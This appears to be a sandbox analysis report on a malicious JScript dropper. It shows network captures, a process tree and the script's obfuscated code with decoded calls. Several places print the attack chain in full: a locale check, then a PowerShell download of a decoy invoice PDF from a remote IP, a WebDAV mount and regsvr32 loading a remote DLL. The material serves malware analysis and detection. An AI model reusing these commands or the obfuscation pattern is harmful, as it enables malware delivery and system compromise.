Jan 10, 2025 17:13:20.192733049 CET	1.1.1.1	192.168.2.9	0xf60b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:20.192733049 CET	1.1.1.1	192.168.2.9	0xf60b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:33.957317114 CET	1.1.1.1	192.168.2.9	0xe12a	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:48.520076990 CET	1.1.1.1	192.168.2.9	0xda5c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:13:48.520076990 CET	1.1.1.1	192.168.2.9	0xda5c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:14:12.623490095 CET	1.1.1.1	192.168.2.9	0xcf23	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:14:12.623490095 CET	1.1.1.1	192.168.2.9	0xcf23	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:14:36.876909971 CET	1.1.1.1	192.168.2.9	0xe30c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:14:36.876909971 CET	1.1.1.1	192.168.2.9	0xe30c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:14:48.925756931 CET	1.1.1.1	192.168.2.9	0xdd90	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:14:48.925756931 CET	1.1.1.1	192.168.2.9	0xdd90	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:15:13.004684925 CET	1.1.1.1	192.168.2.9	0xf617	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:15:13.004684925 CET	1.1.1.1	192.168.2.9	0xf617	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49752	193.143.1.205	80	7804	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:13:08.974040031 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:13:09.748745918 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:13:09.748759031 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:13:09.748780012 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 17:13:09.748785019 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 17:13:09.748804092 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:13:09.748873949 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 17:13:09.748879910 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 17:13:09.748893023 CET	672	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
Jan 10, 2025 17:13:09.748900890 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 17:13:09.748905897 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 17:13:09.753758907 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49768	193.143.1.205	8888	8096	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:13:11.535645962 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:13:12.363373041 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:12 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	11:13:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32474162872806629906.js"
Imagebase:	0x7ff6c1100000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:13:05
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll
Imagebase:	0x7ff78df00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:13:05
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:13:05
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:13:10
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:13:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78df00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:13:10
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73f950000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:13:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:13:11
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:13:11
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1628,i,820544111018087942,12403917839327423551,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fgahswc() {	fgahswc() ➔ undefined
1	mwulcejc = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qxhpumefx = this[oupaojo + suphzc + zejvmsp + rxxsj + wqlojrvpq + iudtliyzk + slbuu + ffydjt] ( this[gcsjls + iazsxp + bstcp + zejvmsp + fchfasznr + oupaojo + ffydjt][trrkd + zejvmsp + wqlojrvpq + suphzc + ffydjt + wqlojrvpq + rxnqifd + zygqqljmc + jtfvtx + wqlojrvpq + bstcp + ffydjt] ( gcsjls + iazsxp + bstcp + zejvmsp + fchfasznr + oupaojo + ffydjt + ujlaaqt + iazsxp + hflrraoa + wqlojrvpq + jjcpko + jjcpko ) [inxfxdgs + wqlojrvpq + qbprp + inxfxdgs + wqlojrvpq + suphzc + tebizdh] ( nsyar + cemnverq + ampxxe + olipkki + fzmsdzid + trrkd + zorqhidm + inxfxdgs + inxfxdgs + ampxxe + kguky + derhlnuyt + fzmsdzid + zorqhidm + iazsxp + ampxxe + inxfxdgs + wncgm + trrkd + iifhhick + slbuu + ffydjt + zejvmsp + iifhhick + jjcpko + sjmzbsrwp + vxisinc + suphzc + slbuu + wqlojrvpq + jjcpko + wncgm + iudtliyzk + slbuu + ffydjt + wqlojrvpq + zejvmsp + slbuu + suphzc + ffydjt + fchfasznr + iifhhick + slbuu + suphzc + jjcpko + wncgm + gzmfa + iifhhick + bstcp + suphzc + jjcpko + wqlojrvpq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nuewerrhc = 0 ; nuewerrhc < mwulcejc[jjcpko + wqlojrvpq + slbuu + qbprp + ffydjt + hflrraoa] ; ++ nuewerrhc )
4	{
5	if ( qxhpumefx == mwulcejc[nuewerrhc] )
6	{
7	qxhpumefx = true;
8	break ;
9	}
10	}
11	if ( qxhpumefx !== true )
12	this[gcsjls + iazsxp + bstcp + zejvmsp + fchfasznr + oupaojo + ffydjt][lingagrkb + wkzuaohxr + fchfasznr + ffydjt] ( );
13	this[gcsjls + iazsxp + bstcp + zejvmsp + fchfasznr + oupaojo + ffydjt][trrkd + zejvmsp + wqlojrvpq + suphzc + ffydjt + wqlojrvpq + rxnqifd + zygqqljmc + jtfvtx + wqlojrvpq + bstcp + ffydjt] ( gcsjls + iazsxp + bstcp + zejvmsp + fchfasznr + oupaojo + ffydjt + ujlaaqt + iazsxp + hflrraoa + wqlojrvpq + jjcpko + jjcpko ) [zejvmsp + wkzuaohxr + slbuu] ( bstcp + xhrup + tebizdh + sjmzbsrwp + lscnqjmk + bstcp + sjmzbsrwp + oupaojo + iifhhick + grdwpn + wqlojrvpq + zejvmsp + rxxsj + hflrraoa + wqlojrvpq + jjcpko + jjcpko + ujlaaqt + wqlojrvpq + tuznj + wqlojrvpq + sjmzbsrwp + jrhtrhmc + trrkd + iifhhick + xhrup + xhrup + suphzc + slbuu + tebizdh + sjmzbsrwp + jwnoclab + iudtliyzk + slbuu + wrqxv + iifhhick + iemtlevo + wqlojrvpq + jrhtrhmc + gcsjls + wqlojrvpq + zygqqljmc + inxfxdgs + wqlojrvpq + vzghbfu + wkzuaohxr + wqlojrvpq + rxxsj + ffydjt + sjmzbsrwp + jrhtrhmc + rxnqifd + wkzuaohxr + ffydjt + jhfvqtxxh + fchfasznr + jjcpko + wqlojrvpq + sjmzbsrwp + ansvykw + ffydjt + wqlojrvpq + xhrup + oupaojo + ansvykw + wncgm + fchfasznr + slbuu + wrqxv + iifhhick + fchfasznr + bstcp + wqlojrvpq + ujlaaqt + oupaojo + tebizdh + pkmtaqz + sjmzbsrwp + hflrraoa + ffydjt + ffydjt + oupaojo + rmvtpxg + lscnqjmk + lscnqjmk + plxvdywty + dlrhiba + fpkerkemy + ujlaaqt + plxvdywty + jdglw + fpkerkemy + ujlaaqt + plxvdywty + ujlaaqt + yrwyaref + xghvnxec + qefpi + lscnqjmk + fchfasznr + slbuu + wrqxv + iifhhick + fchfasznr + bstcp + wqlojrvpq + ujlaaqt + oupaojo + hflrraoa + oupaojo + jwnoclab + lsqfa + lsqfa + rxxsj + ffydjt + suphzc + zejvmsp + ffydjt + sjmzbsrwp + ansvykw + ffydjt + wqlojrvpq + xhrup + oupaojo + ansvykw + wncgm + fchfasznr + slbuu + wrqxv + iifhhick + fchfasznr + bstcp + wqlojrvpq + ujlaaqt + oupaojo + tebizdh + pkmtaqz + lsqfa + lsqfa + bstcp + xhrup + tebizdh + sjmzbsrwp + lscnqjmk + bstcp + sjmzbsrwp + slbuu + wqlojrvpq + ffydjt + sjmzbsrwp + wkzuaohxr + rxxsj + wqlojrvpq + sjmzbsrwp + wncgm + wncgm + plxvdywty + dlrhiba + fpkerkemy + ujlaaqt + plxvdywty + jdglw + fpkerkemy + ujlaaqt + plxvdywty + ujlaaqt + yrwyaref + xghvnxec + qefpi + yfgcmkw + egpbtugn + egpbtugn + egpbtugn + egpbtugn + wncgm + tebizdh + suphzc + wrqxv + grdwpn + grdwpn + grdwpn + zejvmsp + iifhhick + iifhhick + ffydjt + wncgm + lsqfa + lsqfa + bstcp + xhrup + tebizdh + sjmzbsrwp + lscnqjmk + bstcp + sjmzbsrwp + zejvmsp + wqlojrvpq + qbprp + rxxsj + wrqxv + zejvmsp + fpkerkemy + yrwyaref + sjmzbsrwp + lscnqjmk + rxxsj + sjmzbsrwp + wncgm + wncgm + plxvdywty + dlrhiba + fpkerkemy + ujlaaqt + plxvdywty + jdglw + fpkerkemy + ujlaaqt + plxvdywty + ujlaaqt + yrwyaref + xghvnxec + qefpi + yfgcmkw + egpbtugn + egpbtugn + egpbtugn + egpbtugn + wncgm + tebizdh + suphzc + wrqxv + grdwpn + grdwpn + grdwpn + zejvmsp + iifhhick + iifhhick + ffydjt + wncgm + plxvdywty + plxvdywty + plxvdywty + jdglw + yrwyaref + fpkerkemy + plxvdywty + plxvdywty + egpbtugn + qefpi + yrwyaref + fpkerkemy + jdglw + fpkerkemy + egpbtugn + ujlaaqt + tebizdh + jjcpko + jjcpko, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\111423118523438.dll",0,false) ➔ 0
14	}
15	zygqqljmc = "L";
16	zygqqljmc = "t";
17	zygqqljmc = "C";
18	zygqqljmc = "X";
19	zygqqljmc = "Y";
20	zygqqljmc = "X";
21	zygqqljmc = "D";
22	zygqqljmc = "b";
23	zygqqljmc = "O";
24	zygqqljmc = "N";
25	zygqqljmc = "e";
26	zygqqljmc = "G";
27	zygqqljmc = "I";
28	zygqqljmc = "a";
29	zygqqljmc = "f";
30	zygqqljmc = "I";
31	zygqqljmc = "a";
32	zygqqljmc = "h";
33	zygqqljmc = "t";
34	zygqqljmc = "H";
35	zygqqljmc = "x";
36	zygqqljmc = "G";
37	zygqqljmc = "K";
38	zygqqljmc = "T";
39	zygqqljmc = "b";
40	zygqqljmc = "H";
41	zygqqljmc = "L";
42	zygqqljmc = "e";
43	zygqqljmc = "w";
44	zygqqljmc = "b";
45	zygqqljmc = "j";
46	zygqqljmc = "A";
47	zygqqljmc = "O";
48	zygqqljmc = "u";
49	zygqqljmc = "h";
50	zygqqljmc = "u";
51	zygqqljmc = "b";
52	fzmsdzid = "K";
53	fzmsdzid = "o";
54	fzmsdzid = "w";
55	fzmsdzid = "t";
56	fzmsdzid = "e";
57	fzmsdzid = "e";
58	fzmsdzid = "d";
59	fzmsdzid = "g";
60	fzmsdzid = "F";
61	fzmsdzid = "M";
62	fzmsdzid = "A";
63	fzmsdzid = "B";
64	fzmsdzid = "m";
65	fzmsdzid = "K";
66	fzmsdzid = "Z";
67	fzmsdzid = "v";
68	fzmsdzid = "z";
69	fzmsdzid = "X";
70	fzmsdzid = "H";
71	fzmsdzid = "L";
72	fzmsdzid = "R";
73	fzmsdzid = "j";
74	fzmsdzid = "u";
75	fzmsdzid = "P";
76	fzmsdzid = "c";
77	fzmsdzid = "z";
78	fzmsdzid = "E";
79	fzmsdzid = "H";
80	fzmsdzid = "K";
81	fzmsdzid = "Y";
82	fzmsdzid = "l";
83	fzmsdzid = "M";
84	fzmsdzid = "G";
85	fzmsdzid = "J";
86	fzmsdzid = "l";
87	fzmsdzid = "U";
88	fzmsdzid = "k";
89	fzmsdzid = "f";
90	fzmsdzid = "v";
91	fzmsdzid = "Y";
92	fzmsdzid = "l";
93	fzmsdzid = "_";
94	ansvykw = "S";
95	ansvykw = "f";
96	ansvykw = "I";
97	ansvykw = "R";
98	ansvykw = "R";
99	ansvykw = "m";
100	ansvykw = "T";
101	ansvykw = "p";
102	ansvykw = "q";
103	ansvykw = "M";
104	ansvykw = "z";
105	ansvykw = "x";
